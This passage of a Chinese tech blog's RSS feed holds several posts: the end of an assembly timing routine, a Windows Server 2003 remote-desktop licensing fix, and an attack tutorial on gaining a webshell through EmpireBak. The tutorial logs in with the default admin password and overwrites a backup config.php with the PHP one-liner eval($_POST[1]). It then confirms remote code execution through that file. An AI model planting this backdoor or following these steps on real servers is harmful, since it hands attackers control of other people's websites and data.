;invoke        GetTickCount<br />
;sub        eax,@dwStart<br />
;这两条指令<br />
;_dwThingsHappend为在计时期间，关心的事件发生的次数<br />
;_FutrueExtention为将来拓展用<br />
;********************************************************<br />
_TotalTime        proc        _lpBuf,_dwTotalTime,_dwThingsHappend,_FutrueExtention</p>
<p>local        @dwStart:DWORD,\<br />
        @dwMilliseconds:DWORD,\<br />
        @dwSecond:DWORD,\<br />
        @dwMinute:DWORD,\<br />
        @dwHour:DWORD,\<br />
        @dwSus:DWORD,\<br />
        @AVGSpeed:DWORD</p>
<p>        mov        eax,_dwTotalTime<br />
        ;时间换算<br />
        xor        edx,edx<br />
        mov        ebx,1000<br />
        <a href="http://www.5bay.cn/tag/div" class="st_tag internal_tag" rel="tag" title="标签 div 下的日志">div</a>        ebx<br />
        mov        @dwMilliseconds,edx        ;毫秒</p>
<p>        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwSecond,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwMinute,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,24<br />
        div        ebx<br />
        mov        @dwHour,edx<br />
        <br />
        ;计算平均速度:_dwThingsHappend÷_dwTotalTime<br />
        xor        edx,edx</p>
<p>        mov        eax,_dwThingsHappend        ;_dwThingsHappend 也扩大1000倍(因为_dwTotalTime时间是毫秒数)<br />
        mov        ebx,1000<br />
        mul        ebx</p>
<p>        mov        ebx,_dwTotalTime        ;把_dwTotalTime的值恢复到ebx<br />
        .if        ebx!=0<br />
                div        ebx<br />
                mov        @AVGSpeed,eax<br />
        .else        ;如果_dwTotalTime为0,说明运行时间太少,无法统计,在这里用_dwThingsHappend作为@AVGSpeed的<br />
                push        _dwThingsHappend<br />
                pop        @AVGSpeed<br />
        .endif</p>
<p>        invoke        wsprintf,_lpBuf,\<br />
                         offset szResultFormat,\<br />
                         @dwHour,\<br />
                         @dwMinute,\<br />
                         @dwSecond,\<br />
                         @dwMilliseconds,\<br />
                         @AVGSpeed</p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret<br />
_TotalTime        endp</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html" title="在Android中创建启动界面">在Android中创建启动界面</a> (0)</li><li>2010年08月17日 -- <a href="http://www.5bay.cn/server-building/nginxxiansu.html" title="Nginx限速">Nginx限速</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/2008" title="2008" rel="tag">2008</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/domain" title="domain" rel="tag">domain</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/webs" title="webs" rel="tag">webs</a>, <a href="http://www.5bay.cn/tag/%E4%B8%8A%E4%BC%A0" title="上传" rel="tag">上传</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E6%BA%90%E4%BB%A3%E7%A0%81" title="源代码" rel="tag">源代码</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%AF%B4%E6%98%8E" title="说明" rel="tag">说明</a>, <a href="http://www.5bay.cn/tag/%E8%BD%AF%E4%BB%B6" title="软件" rel="tag">软件</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/webshelleechueeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>完美解决“由于这台计算机没有终端服务器客户端访问许可证”</title>
		<link>http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html</link>
		<comments>http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:29:01 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=512</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>由于windows2003默认仅支持2个终端用户的登陆。当“终端连接超出了最大连接”的情况出现导致不能登录时，可以： 1、在另外一台Windows2003的机器上运行“tsmmc.msc”，打开远程桌面连接，添加一个新的连接，输入远程服务器的IP地址、远程登录帐号和密码，登录到远程服务器桌面。这个方式可以随时登录到远程桌面。 2、在登录出问题的服务器上， 单击“开始”，指向“管理工具”，然后单击“终端服务配置”。 3、 单击“服务器设置”，然后双击“授权模式”。 4、将“授权模式”更改为“每用户”，然后单击“确定”。 以后就不会出现此类问题了。 原因：Window Server 2003 不管理“用户 CAL”。这就是说，即使许可证服务器数据库中有一个“用户 CAL”，它在被使用时也不会减少。这样就不会为了让每个用户都有一个有效的终端服务器 (TS) CAL 而根据“最终用户许可协议”(EULA) 的要求删除管理员。在没有使用“设备 CAL”的情况下，如果不是每个用户都有一个“用户 CAL”，就会违反 EULA。 相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2010年05月23日 -- Rsync详解 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)2010年05月23日 -- PHP封装常用Javascript为JS类以便快速调用 (1)2008年10月17日 -- 多服务器的用户身份认证方案 (0)2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)2010年07月26日 -- php的文档句法(heredoc)]]></description>
			<content:encoded><![CDATA[<p>由于windows2003默认仅支持2个终端用户的登陆。当“终端连接超出了最大连接”的情况出现导致不能登录时，可以：</p>
<p>1、在另外一台Windows2003的机器上运行“tsmmc.msc”，打开远程桌面连接，添加一个新的连接，输入远程服务器的IP地址、远程登录帐号和密码，登录到远程服务器桌面。这个方式可以随时登录到远程桌面。</p>
<p>2、在登录出问题的服务器上， 单击“开始”，指向“管理工具”，然后单击“终端服务配置”。</p>
<p>3、 单击“服务器设置”，然后双击“授权模式”。</p>
<p>4、将“授权模式”更改为“每用户”，然后单击“确定”。 以后就不会出现此类问题了。</p>
<p>原因：Window <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">Server</a> 2003 不管理“用户 CAL”。这就是说，即使许可证服务器数据库中有一个“用户 CAL”，它在被使用时也不会减少。这样就不会为了让每个用户都有一个有效的终端服务器 (TS) CAL 而根据“最终用户许可协议”(EULA) 的要求删除管理员。在没有使用“设备 CAL”的情况下，如果不是每个用户都有一个“用户 CAL”，就会违反 EULA。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>帝国备份王(Empirebak)拿webshell</title>
		<link>http://www.5bay.cn/server-building/aoeempirebakeebshell.html</link>
		<comments>http://www.5bay.cn/server-building/aoeempirebakeebshell.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:26:19 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[webs]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[软件]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=509</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>fhod 邪恶八进制 帝国备份王(Empirebak)简介 EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库. 可在 http://www.phome.net/ebak2008os/ 下载到 默认账号密码为 admin  123456 登陆后先备份一次数据 备份时可选择备份到的目录。。默认有个safemod 当然也可以是别的..这里以safemod来说了 备份完毕后来到 管理备份目录 打包并下载 把开始备份到的数据可以先下回分析..当然数据库比较大的话可以省略这一步..因为我之前下载已经分析完毕了 备份后的safemod目录下所有的表都是以PHP保存的..Empirebak管理备份目录 下有个替换文件内容 功能 如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下 我是替换 config.php的内容 内容为 &#60;?php $b_table=”a,bak_guest3Book1,bak_info17Content1,bak_info17Sort1,bak_info18Content1,bak_info1Content1,bak_info1Sort1,bak_info2Content1,bak_info2Sort1,bak_info4Content1,bak_info4Sort1,bak_info5Content1,bak_info5Sort1,bak_info6Content1,bak_info6Sort1,bak_info7Content1,bak_info7Sort1,bak_info8Content1,bak_info8Sort1,bak_page12Content1,bak_page1Content1,bak_page21Content1,bak_poll20Inve1,bak_poll20InveCount1,bak_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system”; $tb[a]=1; $tb[bak_guest3Book1]=1; $tb[bak_info17Content1]=1; $tb[bak_info17Sort1]=1; $tb[bak_info18Content1]=1; $tb[bak_info1Content1]=1; $tb[bak_info1Sort1]=1; $tb[bak_info2Content1]=1; $tb[bak_info2Sort1]=1; $tb[bak_info4Content1]=1; $tb[bak_info4Sort1]=1; $tb[bak_info5Content1]=1; $tb[bak_info5Sort1]=1; $tb[bak_info6Content1]=1; $tb[bak_info6Sort1]=1; $tb[bak_info7Content1]=1; $tb[bak_info7Sort1]=1; $tb[bak_info8Content1]=1; $tb[bak_info8Sort1]=1; $tb[bak_page12Content1]=1; $tb[bak_page1Content1]=1; $tb[bak_page21Content1]=1; $tb[bak_poll20Inve1]=1; $tb[bak_poll20InveCount1]=1; $tb[bak_poll20InveOpt1]=1; $tb[guest16Book1]=1; $tb[guest3Book1]=1; $tb[htmlImage]=1; $tb[htmlImageTmp]=1; $tb[info10Content1]=1; [...]]]></description>
			<content:encoded><![CDATA[<p>fhod 邪恶八进制<br />
帝国备份王(Empirebak)简介<br />
EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库.<br />
可在 <a rel="external" href="http://www.phome.net/ebak2008os/" target="_blank">http://www.phome.net/ebak2008os/</a> 下载到<br />
默认账号密码为<br />
admin  123456<br />
登陆后先备份一次数据<br />
备份时可选择备份到的目录。。默认有个safemod<br />
当然也可以是别的..这里以safemod来说了<br />
备份完毕后来到<br />
管理备份目录<br />
打包并下载<br />
把开始备份到的数据可以先下回分析..当然数据库比较大的话可以省略这一步..因为我之前下载已经分析完毕了<br />
<span id="more-509"></span><br />
备份后的safemod目录下所有的表都是以PHP保存的..Empirebak管理备份目录 下有个替换文件内容 功能</p>
<p>如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下</p>
<p>我是替换<br />
config.php的内容</p>
<p>内容为</p>
<p>&lt;?php<br />
$b_table=”a,bak_guest3Book1,bak_info17Content1,bak_info17Sort1,bak_info18Content1,bak_info1Content1,bak_info1Sort1,bak_info2Content1,bak_info2Sort1,bak_info4Content1,bak_info4Sort1,bak_info5Content1,bak_info5Sort1,bak_info6Content1,bak_info6Sort1,bak_info7Content1,bak_info7Sort1,bak_info8Content1,bak_info8Sort1,bak_page12Content1,bak_page1Content1,bak_page21Content1,bak_poll20Inve1,bak_poll20InveCount1,bak_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system”;<br />
$tb[a]=1;<br />
$tb[bak_guest3Book1]=1;<br />
$tb[bak_info17Content1]=1;<br />
$tb[bak_info17Sort1]=1;<br />
$tb[bak_info18Content1]=1;<br />
$tb[bak_info1Content1]=1;<br />
$tb[bak_info1Sort1]=1;<br />
$tb[bak_info2Content1]=1;<br />
$tb[bak_info2Sort1]=1;<br />
$tb[bak_info4Content1]=1;<br />
$tb[bak_info4Sort1]=1;<br />
$tb[bak_info5Content1]=1;<br />
$tb[bak_info5Sort1]=1;<br />
$tb[bak_info6Content1]=1;<br />
$tb[bak_info6Sort1]=1;<br />
$tb[bak_info7Content1]=1;<br />
$tb[bak_info7Sort1]=1;<br />
$tb[bak_info8Content1]=1;<br />
$tb[bak_info8Sort1]=1;<br />
$tb[bak_page12Content1]=1;<br />
$tb[bak_page1Content1]=1;<br />
$tb[bak_page21Content1]=1;<br />
$tb[bak_poll20Inve1]=1;<br />
$tb[bak_poll20InveCount1]=1;<br />
$tb[bak_poll20InveOpt1]=1;<br />
$tb[guest16Book1]=1;<br />
$tb[guest3Book1]=1;<br />
$tb[htmlImage]=1;<br />
$tb[htmlImageTmp]=1;<br />
$tb[info10Content1]=1;<br />
$tb[info10Sort1]=1;<br />
$tb[info12Content1]=1;<br />
$tb[info12Sort1]=1;<br />
$tb[info15Content1]=1;<br />
$tb[info15Sort1]=1;<br />
$tb[info17Content1]=1;<br />
$tb[info17Sort1]=1;<br />
$tb[info18Content1]=1;<br />
$tb[info18Sort1]=1;<br />
$tb[info19Content1]=1;<br />
$tb[info19Sort1]=1;<br />
$tb[info1Content1]=1;<br />
$tb[info1Sort1]=1;<br />
$tb[info2Content1]=7;<br />
$tb[info2Sort1]=1;<br />
$tb[info4Content1]=1;<br />
$tb[info4Sort1]=1;<br />
$tb[info5Content1]=1;<br />
$tb[info5Sort1]=1;<br />
$tb[info6Content1]=1;<br />
$tb[info6Sort1]=1;<br />
$tb[info7Content1]=1;<br />
$tb[info7Sort1]=1;<br />
$tb[info8Content1]=1;<br />
$tb[info8Sort1]=1;<br />
$tb[operatorPower]=1;<br />
$tb[operators]=1;<br />
$tb[page11Content1]=1;<br />
$tb[page12Content1]=1;<br />
$tb[page13Content1]=1;<br />
$tb[page14Content1]=1;<br />
$tb[page1Content1]=1;<br />
$tb[page21Content1]=1;<br />
$tb[poll20Inve1]=1;<br />
$tb[poll20InveCount1]=1;<br />
$tb[poll20InveOpt1]=1;<br />
$tb[poll9Inve1]=1;<br />
$tb[poll9InveCount1]=1;<br />
$tb[poll9InveOpt1]=1;<br />
$tb[system]=1;</p>
<p>$b_baktype=0;<br />
$b_filesize=300;<br />
$b_bakline=500;<br />
$b_autoauf=1;<br />
$b_dbname=”s422857db0&#8243;;<br />
$b_stru=1;<br />
$b_strufour=0;<br />
$b_dbchar=”auto”;<br />
$b_beover=0;<br />
$b_insertf=”replace”;<br />
$b_autofield=”,,”;<br />
?&gt;然后替换</p>
<p>&lt;?php eval($_POST[1]);?&gt;by fhod~~~~~</p>
<p>访问</p>
<p><a rel="external" href="http://www.xxx.com/upload/bdata/safemod/config.php" target="_blank">http://www.xxx.com/upload/bdata/safemod/config.php</a><br />
能看到 by fhod~~~~~<br />
证明成功得到shell</p>
<p>密码为1</p>
<p>前提是要有管理密码能进入管理^_^</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/2008" title="2008" rel="tag">2008</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/webs" title="webs" rel="tag">webs</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BD%AF%E4%BB%B6" title="软件" rel="tag">软件</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/aoeempirebakeebshell.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>最令PHP初学者头痛的十四个问题</title>
		<link>http://www.5bay.cn/network-programming/eeeeeeee.html</link>
		<comments>http://www.5bay.cn/network-programming/eeeeeeee.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 17:20:55 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[apache2]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[iis6.0]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[php.ini]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[session]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[中文]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[初学者]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[失败]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[应用程序]]></category>
